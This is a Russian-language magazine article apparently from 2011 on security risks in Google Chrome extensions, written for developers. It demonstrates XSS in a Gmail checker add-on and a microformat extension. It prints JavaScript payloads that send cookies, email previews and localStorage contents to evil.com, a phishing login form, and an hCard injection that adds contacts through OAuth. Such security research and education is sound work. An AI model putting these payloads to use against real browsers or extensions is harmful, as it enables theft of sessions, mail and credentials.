Дата: 13.07.2011 | Тарас Иващенко | Хакер №6/11
С каждым днем Google Chrome становится все более и более популярен. Его создатели проделали большую работу, разработав платформу для создания расширений для браузера. Они несут в себе дополнительный функционал, но и новую опасность. В рамках этого материала я не буду детально описывать, что представляет собой архитектура расширений в Chrome. Об этом можно узнать подробнее из хорошей статьи Ларри Селцера "Google’s Chrome Extensions Show Security Focus". А для понимания всего того, о чем пойдет речь ниже, тебе нужно осознать всего несколько моментов. Первое — браузер Chrome, как и тот же самый Firefox, поддерживает расширения. По сути, это небольшие программные модули, с помощью которых можно изменять и улучшать базовую функциональность. Второе — плагины разрабатываются с помощью привычных нам веб-технологий: HTML и JavaScript, включая вкусности HTML5 и CSS. Использование этих технологий на порядок упрощает процесс разработки, особенно в сравнении с написанием расширения для Огнелиса (хотя и там в основном используется тот же JavaScript). И третье — все плагины строятся по одной и той же структуре.
Обычно расширение для Хрома включает в себя следующие составляющие:
файл манифеста manifest.json — в нeм содержится информация о расширении: например его название и описание, версия, используемые файлы, привилегии и другое;
одна и более HTML-страниц, включая фоновую страницу background.html, выступающую в роли движка расширения;
опционально: один и более JS-скриптов, включая внедряемые скрипты (это аналог UserJS в Опере и Greasemonkey в Мозилле);
опционально: всe остальное, что может понадобиться — например, файлы-изображения.
Всe это хозяйство упаковывается в zip-архив с расширением crx. Для коммуникаций между страницами аддона предусмотрена возможность вызывать из одной страницы функции другой и даже изменять DOM-модель. Однако это не относится к внедряемым скриптам, для связи с которыми используется механизм сообщений. Для страниц расширения доступны специальные API-интерфейсы браузера для работы с закладками, историей посещений, куками, окнами, вкладками, событиями и так далее.
Теперь, имея общее представление о структуре расширений, предлагаю разобраться, какие риски могут нести эти технологии и что стоит учитывать разработчикам аддонов под Хром.
XSS
Рассмотрим популярное (около 18 368 установок в неделю) расширение для проверки Gmail’а — Google Mail Checker Plus. Этот полезный аддон делает только одно — показывает количество непрочитанных писем в твоeм инбоксе, а по клику на кнопке открывает окно предпросмотра. Помимо этого в нем реализованы оповещения на рабочем столе.
В области предпросмотра мы можем увидеть как минимум тему письма, отправителя и немного непосредственно текста сообщения. Попробуем с этим поиграться. Скажем, что будет, если послать письмо со следующей темой?
2"'><script src="http://evil.com/own.js"></script>
Тут own.js — это простая JavaScript-нагрузка для демонстрации уязвимости:
document.body.innerHTML = "";
img = new Image();
img.src = "http://evil.com/stallowned.jpg";
document.body.appendChild(img);
После того как пришло письмо, нам отобразится сначала уведомление на рабочем столе:
И затем по клику на кнопке расширения мы увидим уже нашу XSS во всплывающем окне расширения:
Бинго! Кстати говоря, эта уязвимость была обнаружена человеком под ником Lostmon ещe в июне 2010 года, но я подковырял еe, и автору расширения пришлось вносить исправления повторно . Этот же человек, рапортуя о баге, писал:
"All extensions runs over his origin and no have way to altered data from extension or get sensitive data like, email account or password etc.."
Рассказывая о невозможности добраться до конфиденциальных данных через подобные уязвимости, он не совсем прав . Покопаем, что же можно сделать с помощью банальной XSS в случае с расширением к браузеру.
Куки
Сессионные данные — популярная цель для XSS-атаки. Но расширение работает в своего рода песочнице и напрямую доступ к кукам через объект document.cookie получить уже не получится — нам надо использовать API. Для работы с куками расширению (и нам тоже) необходимы специальные привилегии и явным образом прописанные в манифесте домены, например вот так:
{
"name": "My extension",
...
"permissions": [
"cookies",
"*://*.google.com"
],
...
}
Очевидно, что риск увеличивается, когда у расширения слишком много прав, то есть как минимум права на работу с куками и большое количество прописанных доменов в соответствующей секции манифеста. В таком случае XSS становится гораздо более опасной штукой, поскольку злоумышленник сможет получить доступ к кукам сразу всех разрешeнных доменов. Следующий код демонстрирует, как можно собрать все доступные куки и отправить их на снифер:
chrome.cookies.getAll({}, function(cookies)
{
var dump = "COOKIES: ";
for (var i in cookies)
{
dump += cookies[i].domain + ":" + cookies[i].name + ":" + cookies[i].value + " | ";
}
img = new Image();
img.src = "http://evil.com/stallowned.jpg?" + dump;
document.body.appendChild(img);
});
Все данные отобразятся в логах запросов нашего веб-сервера.
Данные веб-браузера как цель для атаки
В предыдущей части мы рассмотрели, какой риск может нести в себе уязвимость в расширении, приводящая к XSS. При определенных условиях (наличии большого количества привилегий и доменов в файле манифеста) злоумышленник может получить куки с разных сайтов, и это сильное преимущество перед XSS в обычном веб-приложении. Также он сможет заполучить такие интересные данные как история твоей работы с веб-браузером, закладки и другая информация, доступная через API при соответствующем разрешении. Таким образом, в зависимости от типа расширения и его привилегий XSS может привести к компрометации данных пользователя на его компе, а не просто краже куков.
Угон почтовой переписки
С помощью XSS легко можно обойти настройки Gmail по показу внешнего содержимого. Пускай, это не так критично. Но если злоумышленник может внедрить произвольный HTML/JavaScript в конкретное письмо, он может и добавить тег <IMG>, а по факту запроса картинки с сервера определить факт прочтения письма. Это всe возможно вне зависимости от настроек показа внешнего содержимого в Гмейле! Но это ерунда, а вот что по-настоящему серьезно, так это угон переписки. Представь на секунду, что ты получаешь вот такую JavaScript-нагрузку:
var dump = '';
var e = document.getElementsByTagName('a');
i=0;
while(i < e.length)
{
if (e[i].className == 'openLink')
{
dump += e[i].innerText + ' | ';
}
i++;
}
img = new Image();
img.src = 'http://evil.com/sniff.jpg?' + dump;
document.body.appendChild(img);
Это не что иное, как дампилка писем в рамках всплывающего окна расширения. Тут всe просто — мы перебираем все элементы из списка писем, в которых отображается информация о сообщении (отправитель, дата, тема и кусок мессаджа), и отправляем еe на сервер злоумышленника.
Настройки расширения — там тоже могут быть интересные данные!
Расширения вполне могут сохранять критичную информацию в своих настройках, доступ к которым осуществляется с помощью механизма веб-хранилищ HTML5. Конечно, такие аддоны надо поискать, но они существуют, это 100%. Например, в настройках такого "плохого" плагина может быть сохранена аутентификационная информация, и мы достанем еe оттуда с помощью следующего скрипта:
var dump = ' LOCALSTORAGE: ';
for (i = 0; i < localStorage.length; i++ )
{
dump += "KEY: " + localStorage.key(i);
dump += " VALUE: " + localStorage.getItem(
localStorage.key(i)) + " | ";
}
img = new Image();
img.src = 'http://evil.com/sniff.jpg?' + dump;
document.body.appendChild(img);
Фишинг
Как уже было сказано выше, расширение не может напрямую обращаться к кукам, поэтому разработчикам плагинов необходимо использовать соответствующий API. Таким образом, заполучение куков в рамках XSS-атаки становится нетривиальным решением. Но с другой стороны — обычный фишинг-то никто не отменял! Злоумышленник может сделать простую псевдоформу логина и показать еe жертве через простую нагрузку:
var msg = 'Please, enter account information.';
msg += '<form action="http://evil.com/login">Username: <input type=text name=user>';
msg += ' <br>Password: <input type=password name=pass><br><input type=submit></form>';
document.body.innerHTML = msg;
Скриншот выглядит не слишком красиво, но это всего лишь концепт.
Риски, связанные с использованием JSON
JSON — это легковесный текстовый формат, который широко используется в веб-приложениях web 2.0 для обмена данными между клиентской и серверной частями. Он же применяется и в плагинах Chrome для описания файла манифеста:
"name": "Extension",
"version": "1.0",
"description": "Some extension",
"icons": { "128": "icon.png" },
"permissions": ["http://example.com/"],
"browser_action":
{
"default_title": "",
"default_icon": "pic.png",
"default_popup": "view.html"
}
}
Существует как минимум два больших риска, связанных с небезопасным применением JSON:
1. Использование функции JavaScript eval() для разбора недоверенных данных (например, пользовательских). Разработчики Google специально выделили данный риск и написали рекомендации по безопасному разбору JSON с помощью встроенного метода JSON.parse.
2. Менее очевидный, но не менее опасный риск похищения JSON-данных JavaScript hijacking.
Не стоит забывать и про JSON(P), который используется для обмена данными между доменами. В контексте расширений Хрома эта потенциальная уязвимость мало чем отличается от такой же для обычного веб-приложения. Также с помощью любого промежуточного прокси можно посмотреть, каким образом идeт обмен данными между расширением и серверной частью веб-сервиса. А там вполне могут быть проблемы с безопасностью.
Внедряемые скрипты
Мы не единожды рассказывали про внедряемые скрипты (в одном из номеров ][ даже был подробный материал про Greasmonkey и его возможности). Хороший пример их использования — автоматическое обрамление всех URL-адресов на странице в html-тег <A>, тем самым делая их ссылками, даже если автор страницы об этом не позаботился. Внедряемый скрипт (content script) — это, по сути, специальный кусок JavaScript, который внедряется в необходимые страницы и, что важно, выполняется в их контексте, а не в контексте расширения. Таким образом эти сценарии могут свободно читать и изменять содержимое текущей страницы, но при этом они сильно ограничены в использовании API-расширений. Если быть точным, то они не могут делать следующее:
использовать chrome.* APIs (кроме частей chrome.extension);
использовать переменные и функции, заданные в родительском расширении;
использовать переменные и функции, заданные непосредственно в коде страницы либо в других внедряемых скриптах;
делать кроссдоменные запросы XMLHttpRequests.
С другой стороны, внедряемые скрипты могут общаться с родительским расширением с помощью специальной технологии сообщений. В общем виде мы имеем два риска, связанных с внедряемыми скриптами:
В силу возможности изменять содержимое посещаемой страницы, плохо написанные скрипты могут добавить уязвимость на страницу, где изначально этой уязвимости не было!
Зловредная страница сама может атаковать расширение веб-браузера через внедряемые скрипты.
Давай разберeм пример второго случая и рассмотрим подробнее расширение для работы с микроформатами. Ниже представлен фрагмент HTML-кода с популярным микроформатом hCard. В поле URL мы запихали то, что, скорее всего, расширение не планирует там увидеть:
<div class="vcard">
<div class="fn">James Bond</div>
<div class="org">MI-6</div>
<div class="tel">604-555-1234</div>
<a class="url" href="123:<script>d = document.createElement('div');d.innerHTML='<h1>XSS</h1>';document.body.appendChild(d);</script>233">http://example.com/</a>
</div>
Если у нас установлен этот аддон, и мы посетим страницу с таким кодом, то расширение попробует его оттуда выдернуть, распарсить и показать нам эти данные о человеке.
Наша нагрузка отработала, и видно результат? Но какие риски это несeт? А вот какие. Рассматриваемое расширение умеет связываться с твоим гугловским аккаунтом с помощью протокола OAuth и API-сервиса адресной книги Гугла. С твоего разрешения оно имеет доступ к адресной книге и может добавлять туда записи по клику на соответствующей кнопке во всплывающем окне. Вот такой простой код, использующий фишки JQuery, добавит произвольный контакт в твою адресную книгу на Гмейле!
$(".submithcard").click()
Таким образом нам удалось обойти серьезные ограничения на использование API внедряемыми скриптами, и нагрузка пробросилась в основное окно расширения, в котором у нас уже больше возможностей.
Заключение
Что хочется сказать в итоге? Разработчики Google Chrome сделали действительно хорошую архитектуру расширений и предоставили достаточно возможностей для написания качественных и безопасных расширений. Но одновременно с этим мы видим, как выбранные для разработки технологии (HTML, CSS и JavaScript) при активном участии горе-разработчиков способствуют подверженности аддонов таким атакам как, скажем, XSS, к которым мы привыкли в контексте веб-приложений. При этом риски от такой XSS могут быть похлеще, чем от XSS в обычном веб-приложении. Создателям расширений непременно нужно особенно внимательно читать раздел "Security considerations" в руководстве разработчика, а пользователям — следить за обновлениями расширений и вовремя их устанавливать!